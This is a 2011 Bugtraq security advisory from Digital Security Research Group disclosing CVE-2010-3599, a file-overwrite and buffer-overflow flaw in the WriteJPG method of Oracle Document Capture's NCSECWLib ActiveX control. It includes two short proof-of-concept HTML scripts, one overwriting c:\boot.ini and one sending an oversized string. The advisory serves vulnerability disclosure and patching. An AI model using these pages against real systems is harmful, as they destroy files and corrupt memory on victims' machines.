bugtraq - [DSECRG-11-006] Oracle Document Capture ActiveX

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Message-ID: <629726744.20110125173522@dsec.ru>
Date: Tue, 25 Jan 2011 17:35:22 +0300
From: Alexandr Polyakov <alexandr.polyakov@...c.ru>
To: bugtraq@...urityfocus.com, vuln@...unia.com,
	packet@...ketstormsecurity.org
Subject: [DSECRG-11-006]  Oracle Document Capture ActiveX - Insecure method, buffer overflow

ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory DSECRG-11-006 (internal #DSECRG-09-066) 

Application:                    Oracle Document Capture 
Versions Affected:              Oracle Document Capture 10.1.3.5
Vendor URL:                     http://oracle.com
Bugs:                           Insecure method. Buffer overflow.
Exploits:                       YES
Reported:                       14.12.2009
Vendor response:                15.12.2009
Date of Public Advisory:        24.01.2011
CVE:                            CVE-2010-3599
Author:                         Alexandr Polyakov from DSecRG 

Description
***********

Insecure method was founded in NCSECWLib ActiveX control component which is a part of  Oracle Document Capture .
One of the methods (WriteJPG) can be used to overwrite files on users system and also affected to buffer overflow.

Details
*******

Attacker can construct html page which call vulnerable function "WriteJPG" from ActiveX Object NCSECWLib.

Example 1 (file overwrite)
******* 

<html>
<script>
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"
prototype  = "Sub WriteJPG ( ByVal OutputFile As String ,  ByVal Quality As Long ,  ByVal bWriteWorldFile As Boolean )"
memberName = "WriteJPG"
progid     = "NCSECWLib.NCSRenderer"
argCount   = 3

arg1="c:\boot.ini"
arg2=1
arg3=True

target.WriteJPG arg1 ,arg2 ,arg3 

</script>
</html>

Example 2
*******

<html>
<script>
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"
prototype  = "Sub WriteJPG ( ByVal OutputFile As String ,  ByVal Quality As Long ,  ByVal bWriteWorldFile As Boolean )"
memberName = "WriteJPG"
progid     = "NCSECWLib.NCSRenderer"
argCount   = 3

arg1=String(13332, "A")
arg2=1
arg3=True

target.WriteJPG arg1 ,arg2 ,arg3 

</script></job></package>

References
**********

http://dsecrg.com/pages/vul/show.php?id=306
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from: 

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

About
*****

Digital Security: 

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com

Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: a.polyakov@...c.ru  

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru

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